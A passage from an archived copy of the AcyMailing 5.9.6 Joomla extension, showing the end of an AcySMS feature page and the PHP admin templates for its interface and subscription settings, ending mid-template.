            <span id="progressbar"></span>
            <div id="information"></div>
        </div>
    </div>
    <div id="postinstall" style="display:none;font-weight: bold;margin-top: 15px;">
        <?php echo acymailing_translation_sprintf('ACY_INSTALLED', '<a href="https://www.acyba.com/member-area/your-subscription.html#acysms-uexpress" target="_blank">', '</a>'); ?>
        <div class="myacymailingarea"><a href="index.php?option=com_acysms" ><button><?php echo acymailing_translation('ACY_TRY_IT'); ?></button></a></div>
    </div>

    <div id="acy_main_features" style="max-width: 980px;margin:auto;margin-top:50px;">
        <div class="contentsize shadowleft" style="padding-top: 0px;">
            <div class="row-fluid">
                <div class="span8">
                    <h4>Send personalized messages</h4>
                    <ul>
                        <li><strong>Filter your users</strong> for targeted communication. Revive the customers who bought a product or the attenders of an event...</li>
                        <li>Create <strong>marketing campaigns</strong> with follow-up messages. <strong>Automatically send a SMS</strong> to your contact X days after his subscription.</li>
                        <li><strong>Personalize your communication</strong> using information from the user profile (ex: Happy birthday "John"!)</li>
                    </ul>
                </div>
                <div class="span4"><img style="margin-top: 40px;" src="https://www.acyba.com/images/main_features_acysms/acysms1.png" alt=""></div>
            </div>
        </div>
        <div class="greybg">
            <div class="contentsize shadowright">
                <div class="row-fluid">
                    <div class="span4"><img src="https://www.acyba.com/images/main_features_acysms/acysms2.png" alt=""></div>
                    <div class="span8">
                        <h4>Increase your sales thanks to sms</h4>
                        <ul>
                            <li>Send <strong>coupons and special offers</strong> via SMS to your customers.</li>
                            <li>Generate automatic messages for their orders ("Your order is shipped today"). <strong>Send reminders</strong> when the order is confirmed or shipped.</li>
                            <li>Combine AcySMS with <strong>your online store</strong>. AcySMS is integrated with the main e-commerce solutions for Joomla (Virtuemart, HikaShop, RedShop, MijoShop).</li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
        <div class="contentsize shadowleft">
            <div class="row-fluid">
                <div class="span8">
                    <h4>GET STATISTICS ON EACH CAMPAIGN</h4>
                    <ul>
                        <li>Analyze the success of your campaigns, thanks to <strong>powerful statistics</strong>.&nbsp;</li>
                        <li>Check <strong>how many messages were sent</strong> and how many have failed. Get a detailed error if your message has not been sent.</li>
                        <li>AcySMS handles <strong>delivery reports</strong>, so that you can check who has received your message.</li>
                    </ul>
                </div>
                <div class="span4"><img src="https://www.acyba.com/images/main_features_acysms/acysms3.png" alt=""></div>
            </div>
        </div>
        <div class="greybg">
            <div class="contentsize shadowright">
                <div class="row-fluid">
                    <div class="span4"><img src="https://www.acyba.com/images/main_features_acysms/acysms4.png" alt=""></div>
                    <div class="span8">
                        <h4>PERFORM ACTIONS DEPENDING ON THE ANSWERS</h4>
                        <ul>
                            <li><strong>Unsubscribe users</strong> automatically from your lists ("STOP" word).</li>
                            <li>Send a specific message <strong>depending on the answer</strong> you received on your first SMS/Text Message.</li>
                            <li>As an option, you can even <strong>forward the SMS answer</strong> to the administrator.</li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
        <div class="contentsize shadowleft">
            <div class="row-fluid">
                <div class="span8">
                    <h4>MANAGE AND ORGANIZE YOUR CONTACTS</h4>
                    <ul>
                        <li>Create new <strong>contacts</strong> or complete the current ones by adding <strong>custom fields</strong> to their profile.</li>
                        <li><strong>Add users</strong> directly inside AcySMS or <strong>use a user list</strong> that you already have in another component.</li>
                        <li>AcySMS is <strong>integrated with the main user management and e-commerce </strong><strong>extensions </strong> (AcyMailing, CB, JoomSocial, VM, HikaShop, RedShop, MijoShop)</li>
                    </ul>
                </div>
                <div class="span4"><img src="https://www.acyba.com/images/main_features_acysms/acysms5.png" alt=""></div>
            </div>
        </div>
        <div class="greybg">
            <div class="contentsize shadowright">
                <div class="row-fluid">
                    <div class="span4"><img src="https://www.acyba.com/images/main_features_acysms/acysms6.png" alt=""></div>
                    <div class="span8">
                        <h4>CHOOSE AMONG MANY GATEWAYS</h4>
                        <ul>
                            <li>More than 40 SMS providers available, so that you can find the <strong>best price</strong>.</li>
                            <li>Choose your favorite gateway and send <strong>SMS/</strong><strong>Text Messaging campaigns worldwide</strong>.</li>
                            <li><strong>No commitment</strong>. You only pay for what you use.</li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
com_acymailing/views/update/tmpl/index.html000060400000000054152455305300015104 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/cpanel/tmpl/interface.php000060400000045506152455305300015553 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="config_interface">
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('MESSAGES'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('DISPLAY_MSG_SUBSCRIPTION_DESC').'<br /><br /><i>'.($this->config->get('require_confirmation', 0) ? acymailing_translation('CONFIRMATION_SENT') : acymailing_translation('SUBSCRIPTION_OK')).'</i>', acymailing_translation('DISPLAY_MSG_SUBSCRIPTION'), '', acymailing_translation('DISPLAY_MSG_SUBSCRIPTION')); ?>
				</td>
				<td>
					<?php echo $this->elements->subscription_message; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('DISPLAY_MSG_CONFIRM_DESC').'<br /><br /><i>'.acymailing_translation('SUBSCRIPTION_CONFIRMED').'</i>', acymailing_translation('DISPLAY_MSG_CONFIRM'), '', acymailing_translation('DISPLAY_MSG_CONFIRM')); ?>
				</td>
				<td>
					<?php echo $this->elements->confirmation_message; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('DISPLAY_MSG_UNSUBSCRIPTION_DESC'), acymailing_translation('DISPLAY_MSG_UNSUBSCRIPTION'), '', acymailing_translation('DISPLAY_MSG_UNSUBSCRIPTION')); ?>
				</td>
				<td>
					<?php echo $this->elements->unsubscription_message; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('DISPLAY_MSG_CONFIRMATION_DESC'), acymailing_translation('DISPLAY_MSG_CONFIRMATION'), '', acymailing_translation('DISPLAY_MSG_CONFIRMATION')); ?>
				</td>
				<td>
					<?php echo $this->elements->confirm_message; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('DISPLAY_MSG_WELCOME_DESC'), acymailing_translation('DISPLAY_MSG_WELCOME'), '', acymailing_translation('DISPLAY_MSG_WELCOME')); ?>
				</td>
				<td>
					<?php echo $this->elements->welcome_message; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('DISPLAY_MSG_UNSUB_DESC'), acymailing_translation('DISPLAY_MSG_UNSUB'), '', acymailing_translation('DISPLAY_MSG_UNSUB')); ?>
				</td>
				<td>
					<?php echo $this->elements->unsub_message; ?>
				</td>
			</tr>
		</table>
	</div>
	<div class="onelineblockoptions">
		<span class="acyblocktitle">CSS</span>
		<table class="acymailing_table" cellspacing="1">
			<?php if(!empty($this->elements->css_module)){ ?>
			<tr>
				<td class="acykey">
					<?php
					if('joomla' == 'wordpress'){
						echo acymailing_translation('ACY_CSS_WIDGET');
					}else{
						echo acymailing_tooltip(acymailing_translation('CSS_MODULE_DESC'), acymailing_translation('CSS_MODULE'), '', acymailing_translation('CSS_MODULE'));
					}
					?>
				</td>
				<td>
					<?php echo $this->elements->css_module; ?>
				</td>
			</tr>
			<?php } ?>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('CSS_FRONTEND_DESC'), acymailing_translation('CSS_FRONTEND'), '', acymailing_translation('CSS_FRONTEND')); ?>
				</td>
				<td>
					<?php echo $this->elements->css_frontend; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('ACY_CSS_BACKEND_DESC'), acymailing_translation('ACY_CSS_BACKEND'), '', acymailing_translation('ACY_CSS_BACKEND')); ?>
				</td>
				<td>
					<?php echo $this->elements->css_backend; ?>
				</td>
			</tr>
			<?php if(ACYMAILING_J30 && !empty($this->elements->bootstrap_frontend)){ ?>
				<tr>
					<td class="acykey">
						<?php echo acymailing_translation('USE_BOOTSTRAP_FRONTEND'); ?>
					</td>
					<td>
						<?php echo $this->elements->bootstrap_frontend; ?>
					</td>
				</tr>
			<?php } ?>
		</table>
	</div>
	<?php if(!empty($this->elements->use_sef)){ ?>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('FEATURES'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('FORWARD_DESC'), acymailing_translation('FORWARD_FEATURE'), '', acymailing_translation('FORWARD_FEATURE')); ?>
				</td>
				<td>
					<?php echo $this->elements->forward; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('USE_SEF_DESC'), acymailing_translation('USE_SEF'), '', acymailing_translation('USE_SEF')); ?>
				</td>
				<td>
					<?php echo $this->elements->use_sef; ?>
				</td>
			</tr>
			<?php
			if(acymailing_level(3)){
				?>
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('ACY_FEATURE_SEND_IN_ARTICLE_DESC'), acymailing_translation('ACY_FEATURE_SEND_IN_ARTICLE'), '', acymailing_translation('ACY_FEATURE_SEND_IN_ARTICLE')); ?>
					</td>
					<td class="acykey">
						<?php echo $this->elements->edit_send_in_article ?>
					</td>
				</tr>
				<?php
			}
			?>
		</table>
	</div>
	<?php } ?>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('TRACKING'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('TRACKINGSYSTEM'); ?>
				</td>
				<td>
					<?php echo $this->elements->tracking_system; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_TRACKINGSYSTEM_EXTERNAL_LINKS'); ?>
				</td>
				<td>
					<?php echo $this->elements->tracking_system_external_website; ?>
				</td>
			</tr>
		</table>
	</div>
	<?php if(!empty($this->elements->acymailing_menu)) { ?>
		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('MENU'); ?></span>
			<table class="acymailing_table" cellspacing="1">
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('ACYMAILING_MENU_DESC'), acymailing_translation('ACYMAILING_MENU'), '', acymailing_translation('ACYMAILING_MENU')); ?>
					</td>
					<td>
						<?php echo $this->elements->acymailing_menu; ?>
					</td>
				</tr>
			</table>
		</div>
	<?php
		}
		if(!empty($this->elements->editor)){
	?>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('ACY_EDITOR'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('EDITOR_DESC'), acymailing_translation('ACY_EDITOR'), '', acymailing_translation('ACY_EDITOR')); ?>
				</td>
				<td>
					<?php echo $this->elements->editor; ?>
				</td>
			</tr>
		</table>
	</div>
	<?php
		}
		if(!empty($this->elements->indexFollow)){
	?>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('ARCHIVE_SECTION'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<?php
			if(file_exists(ACYMAILING_ROOT.'components'.DS.'com_jcomments'.DS.'jcomments.php')){
				$jcomments = ($this->config->get('comments_feature') == 'jcomments') ? 'checked="checked"' : '';
			}else{
				$jcomments = 'disabled="disabled"';
			}
			if(file_exists(ACYMAILING_ROOT.'components'.DS.'com_rscomments')){
				$rscomments = ($this->config->get('comments_feature') == 'rscomments') ? 'checked="checked"' : '';
			}else{
				$rscomments = 'disabled="disabled"';
			}
			if(file_exists(ACYMAILING_ROOT.'components'.DS.'com_komento')){
				$komento = ($this->config->get('comments_feature') == 'komento') ? 'checked="checked"' : '';
			}else{
				$komento = 'disabled="disabled"';
			}
			if(file_exists(ACYMAILING_ROOT.'plugins'.DS.'content'.DS.'jom_comment_bot.php')){
				$jomcomment = ($this->config->get('comments_feature') == 'jomcomment') ? 'checked="checked"' : '';
			}else{
				$jomcomment = 'disabled="disabled"';
			}
			if($this->config->get('comments_feature') == 'disqus'){
				$disqus = 'checked="checked"';
			}else{
				$disqus = '';
			}
			$no_checked = $this->config->get('comments_feature') ? '' : 'checked="checked"';

			?>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('COMMENTS_ENABLED_DESC'), acymailing_translation('COMMENTS_ENABLED'), '', acymailing_translation('COMMENTS_ENABLED')); ?>
				</td>
				<td>
					<div class="controls">
						<input onclick="updateCommentsOption();" name="config[comments_feature]" id="config_comments_feature" value="" <?php echo $no_checked; ?> size="1" type="radio"/>
						<label for="config_comments_feature"><?php echo acymailing_translation('JOOMEXT_NO'); ?></label>
						<?php if('joomla' == 'joomla') { ?>
						<input onclick="updateCommentsOption();" name="config[comments_feature]" id="config_comments_feature_rscomments" value="rscomments" <?php echo $rscomments; ?> size="1" type="radio"/>
						<label for="config_comments_feature_rscomments">RSComments</label>
						<input onclick="updateCommentsOption();" name="config[comments_feature]" id="config_comments_feature_komento" value="komento" <?php echo $komento; ?> size="1" type="radio"/>
						<label for="config_comments_feature_komento">Komento</label>
						<input onclick="updateCommentsOption();" name="config[comments_feature]" id="config_comments_feature_jcomments" value="jcomments" <?php echo $jcomments; ?> size="1" type="radio"/>
						<label for="config_comments_feature_jcomments">jComments</label>
						<input onclick="updateCommentsOption();" name="config[comments_feature]" id="config_comments_feature_jomcomment" value="jomcomment" <?php echo $jomcomment; ?> size="1" type="radio"/>
						<label for="config_comments_feature_jomcomment">jomComment</label>
						<?php } ?>
						<input onclick="updateCommentsOption();" name="config[comments_feature]" id="config_comments_feature_disqus" value="disqus" <?php echo $disqus; ?> size="1" type="radio"/>
						<label for="config_comments_feature_disqus">Disqus</label>
					</div>
					<label for="config_disqus_shortname" style="display:<?php echo empty($disqus) ? "none" : "inline-block"; ?>;" id="config_disqus_shortname_label">Shortname : </label>
					<input type="text" name="config[disqus_shortname]" id="config_disqus_shortname" value="<?php echo $this->config->get('disqus_shortname'); ?>" size="1" style="width:100px;float:none;<?php if(empty($disqus)) echo "display:none;"; ?>"/>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('SUBJECT_DISPLAY_DESC'), acymailing_translation('SUBJECT_DISPLAY'), '', acymailing_translation('SUBJECT_DISPLAY')); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[frontend_subject]", '', $this->config->get('frontend_subject', 1)); ?>
				</td>
			</tr>
			<?php if(!ACYMAILING_J16){ ?>
				<tr>
					<td class="acykey">
						<?php echo acymailing_tooltip(acymailing_translation('FRONTEND_PDF_DESC'), acymailing_translation('FRONTEND_PDF'), '', acymailing_translation('FRONTEND_PDF')); ?>
					</td>
					<td>
						<?php echo acymailing_boolean("config[frontend_pdf]", '', $this->config->get('frontend_pdf', 0)); ?>
					</td>
				</tr>
			<?php } ?>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('FRONTEND_PRINT_DESC'), acymailing_translation('FRONTEND_PRINT'), '', acymailing_translation('FRONTEND_PRINT')); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[frontend_print]", '', $this->config->get('frontend_print', 0)); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('SHOW_DESCRIPTION_DESC'), acymailing_translation('SHOW_DESCRIPTION'), '', acymailing_translation('SHOW_DESCRIPTION')); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[show_description]", '', $this->config->get('show_description', 1)); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('SHOW_FILTER_DESC'), acymailing_translation('SHOW_FILTER'), '', acymailing_translation('SHOW_FILTER')); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[show_filter]", '', $this->config->get('show_filter', 1)); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_ORDER'); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[show_order]", '', $this->config->get('show_order', 1)); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('SHOW_SENDDATE_DESC'), acymailing_translation('SHOW_SENDDATE'), '', acymailing_translation('SHOW_SENDDATE')); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[show_senddate]", '', $this->config->get('show_senddate', 1)); ?>
				</td>
			</tr>
			<?php if(acymailing_level(1)){ ?>
				<tr>
					<td class="acykey">
						<?php echo acymailing_translation_sprintf('SHOW_COLUMN_X', '<b><i>'.acymailing_translation('RECEIVE_VIA_EMAIL').'</i></b>'); ?>
					</td>
					<td>
						<?php echo acymailing_boolean("config[show_receiveemail]", '', $this->config->get('show_receiveemail', 0)); ?>
					</td>
				</tr>
			<?php } ?>
			<tr>
				<td class="acykey" valign="top">
					<?php echo acymailing_tooltip(acymailing_translation('OPEN_POPUP_DESC'), acymailing_translation('OPEN_POPUP'), '', acymailing_translation('OPEN_POPUP')); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[open_popup]", '', $this->config->get('open_popup', 1)); ?>
					<div style="margin-top:10px;">
						<?php echo acymailing_translation('CAPTCHA_WIDTH'); ?> <input type="text" name="config[popup_width]" style="float:none;width:40px" value="<?php echo intval($this->config->get('popup_width', 750)); ?>"/> x <?php echo acymailing_translation('CAPTCHA_HEIGHT'); ?> <input type="text" name="config[popup_height]" style="float:none;width:40px"
																																																																		value="<?php echo intval($this->config->get('popup_height', 550)); ?>"/>
					</div>
				</td>
			</tr>
			<tr id="indexfollow">
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('ARCHIVE_INDEX_FOLLOW_DESC'), acymailing_translation('ARCHIVE_INDEX_FOLLOW'), '', acymailing_translation('ARCHIVE_INDEX_FOLLOW')); ?>
				</td>
				<td>
					<?php echo $this->elements->indexFollow; ?>
				</td>
			</tr>
		</table>
	</div>
	<?php } ?>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('UNSUB_PAGE'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(str_replace('UNSUB_INTRO', acymailing_translation('UNSUB_INTRO'), $this->config->get('unsub_intro', 'UNSUB_INTRO')), acymailing_translation('UNSUB_INTRODUCTION'), '', acymailing_translation('UNSUB_INTRODUCTION')); ?>
				</td>
				<td>
					<textarea style="width:300px;" rows="5" name="config[unsub_intro]"><?php echo $this->config->get('unsub_intro', 'UNSUB_INTRO'); ?></textarea>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('UNSUB_DISP_CHOICE'); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[unsub_dispoptions]", '', $this->config->get('unsub_dispoptions', 1)); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_UNSUB_DISP_OTHER_SUBS'); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[unsub_dispothersubs]", '', $this->config->get('unsub_dispothersubs', 0)); ?>
				</td>
			</tr>
			<tr>
				<td valign="top" class="acykey">
					<?php echo acymailing_translation('UNSUB_DISP_SURVEY'); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[unsub_survey]", 'onclick="displaySurvey(this.value)"', $this->config->get('unsub_survey', 1));
					$reasons = unserialize($this->config->get('unsub_reasons'));
					?>
					<div id="unsub_reasons_area" class="acymailing_deploy" <?php if(!$this->config->get('unsub_survey', 1)) echo 'style="display:none"'; ?> >
						<div id="unsub_reasons">
							<?php
							foreach($reasons as $i => $oneReason){
								if(preg_match('#^[A-Z_]*$#', $oneReason)){
									$trans = acymailing_translation($oneReason);
								}else{
									$trans = $oneReason;
								}
								echo '<span style="font-size:8px">'.$trans.'</span><br /><input type="text" style="width:300px;margin-bottom: 3px;" value="'.$this->escape($oneReason).'" name="unsub_reasons[]" /><br />';
							} ?>
						</div>
						<a onclick="addUnsubReason();return false;" href='#' title="<?php echo $this->escape(acymailing_translation('FIELD_ADDVALUE')); ?>">
							<button class="acymailing_button_grey" onclick="return false">
								<?php echo acymailing_translation('FIELD_ADDVALUE'); ?>
							</button>
						</a>
					</div>
				</td>
			</tr>
		</table>
	</div>
	<?php if(!empty($this->elements->acyrss_format)){ ?>
	<div class="onelineblockoptions">
		<span class="acyblocktitle">RSS</span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_TYPE'); ?>
				</td>
				<td>
					<?php echo $this->elements->acyrss_format; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_NAME'); ?>
				</td>
				<td>
					<input type="text" style="width:200px" name="config[acyrss_name]" value="<?php echo $this->escape($this->config->get('acyrss_name', '')); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_DESCRIPTION'); ?>
				</td>
				<td>
					<textarea style="width:300px;" rows="5" name="config[acyrss_description]"><?php echo $this->config->get('acyrss_description', ''); ?></textarea>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('MAX_ARTICLE'); ?>
				</td>
				<td>
					<input type="text" style="width:50px" name="config[acyrss_element]" value="<?php echo intval($this->config->get('acyrss_element', 20)); ?>"/>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_ORDER'); ?>
				</td>
				<td>
					<?php echo $this->elements->acyrss_order; ?>
				</td>
			</tr>
		</table>
	</div>
	<?php }
	if(acymailing_level(3) && 'joomla' == 'joomla') include(dirname(__FILE__).DS.'interface_enterprise.php'); ?>
	<script language="javascript" type="text/javascript">
		<!--
		function updateCommentsOption(){
			if(document.getElementById("config_comments_feature_disqus").checked){
				document.getElementById('config_disqus_shortname_label').style.display = 'inline-block';
				document.getElementById('config_disqus_shortname').style.display = '';
			}else{
				document.getElementById('config_disqus_shortname_label').style.display = 'none';
				document.getElementById('config_disqus_shortname').style.display = 'none';
			}
		}
		//-->
	</script>
</div>
com_acymailing/views/cpanel/tmpl/subscription.php000060400000025670152455305300016337 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="page-subscription">
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('SUBSCRIPTION'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('ALLOW_VISITOR_DESC'), acymailing_translation('ALLOW_VISITOR'), '', acymailing_translation('ALLOW_VISITOR')); ?>
				</td>
				<td>
					<?php echo $this->elements->allow_visitor; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('REQUIRE_CONFIRM_DESC'), acymailing_translation('REQUIRE_CONFIRM'), '', acymailing_translation('REQUIRE_CONFIRM')); ?>
				</td>
				<td>
					<?php echo $this->elements->require_confirmation; ?>
					<?php echo $this->elements->editConfEmail; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('AUTO_SUBSCRIBE_DESC'), acymailing_translation('AUTO_SUBSCRIBE'), '', acymailing_translation('AUTO_SUBSCRIBE')); ?>
				</td>
				<td>
					<input class="inputbox" id="configautosub" name="config[autosub]" type="text" style="width:100px" value="<?php echo $this->escape($this->config->get('autosub', 'None')); ?>">
					<?php echo acymailing_popup(acymailing_completeLink('chooselist', true).'&amp;task=autosub&amp;values='.$this->config->get('autosub', 'None').'&amp;control=config', '<button class="acymailing_button_grey" onclick="return false">'.acymailing_translation('SELECT').'</button>', '', 650, 375, 'linkconfigautosub'); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('ALLOW_MODIFICATION_DESC'), acymailing_translation('ALLOW_MODIFICATION'), '', acymailing_translation('ALLOW_MODIFICATION')); ?>
				</td>
				<td>
					<?php echo $this->elements->allow_modif; ?>
					<?php echo $this->elements->editModifEmail; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('GENERATE_NAME'); ?>
				</td>
				<td>
					<?php echo acymailing_boolean("config[generate_name]", '', $this->config->get('generate_name', 1)); ?>
				</td>
			</tr>
		</table>
	</div>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('NOTIFICATIONS'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('NOTIF_CREATE_DESC'), acymailing_translation('NOTIF_CREATE'), '', acymailing_translation('NOTIF_CREATE')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[notification_created]" style="width:200px" value="<?php echo $this->escape($this->config->get('notification_created')); ?>">
					<?php echo $this->elements->edit_notification_created; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('NOTIF_UNSUB_DESC'), acymailing_translation('NOTIF_UNSUB'), '', acymailing_translation('NOTIF_UNSUB')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[notification_unsub]" style="width:200px" value="<?php echo $this->escape($this->config->get('notification_unsub')); ?>">
					<?php echo $this->elements->edit_notification_unsub; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('NOTIF_UNSUBALL_DESC'), acymailing_translation('NOTIF_UNSUBALL'), '', acymailing_translation('NOTIF_UNSUBALL')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[notification_unsuball]" style="width:200px" value="<?php echo $this->escape($this->config->get('notification_unsuball')); ?>">
					<?php echo $this->elements->edit_notification_unsuball; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('NOTIF_REFUSE_DESC'), acymailing_translation('NOTIF_REFUSE'), '', acymailing_translation('NOTIF_REFUSE')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[notification_refuse]" style="width:200px" value="<?php echo $this->escape($this->config->get('notification_refuse')); ?>">
					<?php echo $this->elements->edit_notification_refuse; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('NOTIF_CONTACT_DESC'), acymailing_translation('NOTIF_CONTACT'), '', acymailing_translation('NOTIF_CONTACT')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[notification_contact]" style="width:200px" value="<?php echo $this->escape($this->config->get('notification_contact')); ?>">
					<?php echo $this->elements->edit_notification_contact; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('NOTIF_CONTACT_MENU_DESC'), acymailing_translation('NOTIF_CONTACT_MENU'), '', acymailing_translation('NOTIF_CONTACT_MENU')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[notification_contact_menu]" style="width:200px" value="<?php echo $this->escape($this->config->get('notification_contact_menu')); ?>">
					<?php echo $this->elements->edit_notification_contact_menu; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('NOTIF_CONFIRM_DESC'), acymailing_translation('NOTIF_CONFIRM'), '', acymailing_translation('NOTIF_CONFIRM')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" name="config[notification_confirm]" style="width:200px" value="<?php echo $this->escape($this->config->get('notification_confirm')); ?>">
					<?php echo $this->elements->edit_notification_confirm; ?>
				</td>
			</tr>
		</table>
	</div>
	<div class="onelineblockoptions">
		<span class="acyblocktitle"><?php echo acymailing_translation('REDIRECTIONS'); ?></span>
		<table class="acymailing_table" cellspacing="1">
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('REDIRECTION_CONFIRM_DESC'), acymailing_translation('REDIRECTION_CONFIRM'), '', acymailing_translation('REDIRECTION_CONFIRM')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" id="confirm_redirect" name="config[confirm_redirect]" style="width:250px" value="<?php echo $this->escape($this->config->get('confirm_redirect')); ?>">
				</td>
			</tr>
			<?php $redirectMessageModule = 'joomla' == 'joomla' ? '<br /><br /><i>'.acymailing_translation('REDIRECTION_NOT_MODULE').'</i>' : ''; ?>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('REDIRECTION_SUB_DESC').$redirectMessageModule, acymailing_translation('REDIRECTION_SUB'), '', acymailing_translation('REDIRECTION_SUB')); ?>
				</td>
				<td>
					<input class="inputbox" type="text" id="sub_redirect" name="config[sub_redirect]" style="width:250px" value="<?php echo $this->escape($this->config->get('sub_redirect')); ?>">
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_tooltip(acymailing_translation('REDIRECTION_MODIF_DESC').$redirectMessageModule, acymailing_translation('REDIRECTION_MODIF'), '', acymailing_translation('REDIRECTION_MODIF')); ?>
